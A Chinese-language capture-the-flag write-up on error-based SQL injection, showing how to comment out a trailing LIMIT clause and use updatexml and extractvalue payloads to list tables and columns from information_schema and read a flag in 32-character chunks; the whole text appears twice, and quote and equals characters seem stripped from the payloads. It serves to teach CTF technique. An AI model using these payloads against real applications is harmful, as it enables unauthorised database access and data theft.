一、题目分析1. 环境与注入点确认题目地址http://180.76.235.121:32788/?id1后端 SQL 语句推测sqlSELECT * FROM users WHERE id[输入] LIMIT 0,1;注入类型单引号闭合的报错注入updatexml/extractvalue难点末尾的LIMIT 0,1会直接截断我们的 SQL 语句导致语法错误需要用注释符绕过。二、解题思路总览这道题的核心是绕过LIMIT 0,1限制 使用updatexml报错注入完整流程如下用--或%23注释掉末尾的LIMIT 0,1修复 SQL 语法使用updatexml函数爆数据库中的表名找到存放 flag 的表爆目标表的列名找到存放 flag 的字段读取 flag 数据若受长度限制则用substr()分段读取三、详细解题步骤附可直接复制的 Payload步骤 1确认注入点并绕过LIMIT限制在参数后加单引号测试页面报错提示near 1 LIMIT 0,1说明后端语句带有LIMIT 0,1。我们需要用注释符--绕过它plaintext?id1 ----是 SQL 的注释符会把后面的LIMIT 0,1注释掉避免语法错误若--被过滤可以用 URL 编码后的%23代替步骤 2爆数据库中的所有表名使用updatexml函数爆当前数据库中的表名找到存放 flag 的目标表plaintext?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)--0x7e是~的十六进制用于包裹数据方便定位回显内容执行后页面报错会显示所有表名如~users,tb1137ce31~其中tb1137ce31就是存放 flag 的目标表。步骤 3爆目标表的列名把目标表名替换进去查询表中的列名plaintext?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nametb1137ce31),0x7e),1)--执行后报错信息会显示列名如~id,username,c4ec7f8c8~其中c4ec7f8c8就是存放 flag 的列。步骤 4读取 flag 数据4.1 直接读取完整 flag把表名和列名替换进去直接查询 flagplaintext?id1 and updatexml(1,concat(0x7e,(select c4ec7f8c8 from tb1137ce31 limit 0,1),0x7e),1)--执行后报错信息中~包裹的字符串就是 flag。若 flag 过长受updatexml32 字符限制无法完整显示需要用substr()分段读取。4.2 分段读取解决长度限制第一段第 1~32 位plaintext?id1 and updatexml(1,concat(0x7e,substr((select c4ec7f8c8 from tb1137ce31 limit 0,1),1,32),0x7e),1)--第二段第 33 位之后plaintext?id1 and updatexml(1,concat(0x7e,substr((select c4ec7f8c8 from tb1137ce31 limit 0,1),33,32),0x7e),1)--把两次结果拼接起来就是完整的 flag。四、懒人版 Payload大概率直接出 flag很多题目的表名和列名都直接叫flag可以直接用下面这条 Payload 尝试plaintext?id1 and updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)--五、考点复盘与拓展绕过LIMIT限制后端语句带LIMIT 0,1时直接用--或%23注释掉即可这是这类题的通用解法。updatexml报错注入原理updatexml(xml_doc, xpath_expr, new_val)函数的第二个参数需要合法的 XPath 路径当传入非法路径时会将参数内容回显在错误信息中我们正是利用这一点来读取数据。updatexml长度限制解决方法updatexml单次最多只能回显 32 个字符长字符串需要用substr()分段读取多次查询后拼接结果即可。备选函数如果updatexml被过滤可以用extractvalue函数替代Payload 结构完全相同plaintext?id1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--这道题完整演示了带LIMIT限制的报错注入全流程掌握后就能轻松应对大多数类似题目啦
【CTF SQL 注入】带 LIMIT 限制的报错注入完整教程(附万能 Payload)
一、题目分析1. 环境与注入点确认题目地址http://180.76.235.121:32788/?id1后端 SQL 语句推测sqlSELECT * FROM users WHERE id[输入] LIMIT 0,1;注入类型单引号闭合的报错注入updatexml/extractvalue难点末尾的LIMIT 0,1会直接截断我们的 SQL 语句导致语法错误需要用注释符绕过。二、解题思路总览这道题的核心是绕过LIMIT 0,1限制 使用updatexml报错注入完整流程如下用--或%23注释掉末尾的LIMIT 0,1修复 SQL 语法使用updatexml函数爆数据库中的表名找到存放 flag 的表爆目标表的列名找到存放 flag 的字段读取 flag 数据若受长度限制则用substr()分段读取三、详细解题步骤附可直接复制的 Payload步骤 1确认注入点并绕过LIMIT限制在参数后加单引号测试页面报错提示near 1 LIMIT 0,1说明后端语句带有LIMIT 0,1。我们需要用注释符--绕过它plaintext?id1 ----是 SQL 的注释符会把后面的LIMIT 0,1注释掉避免语法错误若--被过滤可以用 URL 编码后的%23代替步骤 2爆数据库中的所有表名使用updatexml函数爆当前数据库中的表名找到存放 flag 的目标表plaintext?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)--0x7e是~的十六进制用于包裹数据方便定位回显内容执行后页面报错会显示所有表名如~users,tb1137ce31~其中tb1137ce31就是存放 flag 的目标表。步骤 3爆目标表的列名把目标表名替换进去查询表中的列名plaintext?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nametb1137ce31),0x7e),1)--执行后报错信息会显示列名如~id,username,c4ec7f8c8~其中c4ec7f8c8就是存放 flag 的列。步骤 4读取 flag 数据4.1 直接读取完整 flag把表名和列名替换进去直接查询 flagplaintext?id1 and updatexml(1,concat(0x7e,(select c4ec7f8c8 from tb1137ce31 limit 0,1),0x7e),1)--执行后报错信息中~包裹的字符串就是 flag。若 flag 过长受updatexml32 字符限制无法完整显示需要用substr()分段读取。4.2 分段读取解决长度限制第一段第 1~32 位plaintext?id1 and updatexml(1,concat(0x7e,substr((select c4ec7f8c8 from tb1137ce31 limit 0,1),1,32),0x7e),1)--第二段第 33 位之后plaintext?id1 and updatexml(1,concat(0x7e,substr((select c4ec7f8c8 from tb1137ce31 limit 0,1),33,32),0x7e),1)--把两次结果拼接起来就是完整的 flag。四、懒人版 Payload大概率直接出 flag很多题目的表名和列名都直接叫flag可以直接用下面这条 Payload 尝试plaintext?id1 and updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1)--五、考点复盘与拓展绕过LIMIT限制后端语句带LIMIT 0,1时直接用--或%23注释掉即可这是这类题的通用解法。updatexml报错注入原理updatexml(xml_doc, xpath_expr, new_val)函数的第二个参数需要合法的 XPath 路径当传入非法路径时会将参数内容回显在错误信息中我们正是利用这一点来读取数据。updatexml长度限制解决方法updatexml单次最多只能回显 32 个字符长字符串需要用substr()分段读取多次查询后拼接结果即可。备选函数如果updatexml被过滤可以用extractvalue函数替代Payload 结构完全相同plaintext?id1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--这道题完整演示了带LIMIT限制的报错注入全流程掌握后就能轻松应对大多数类似题目啦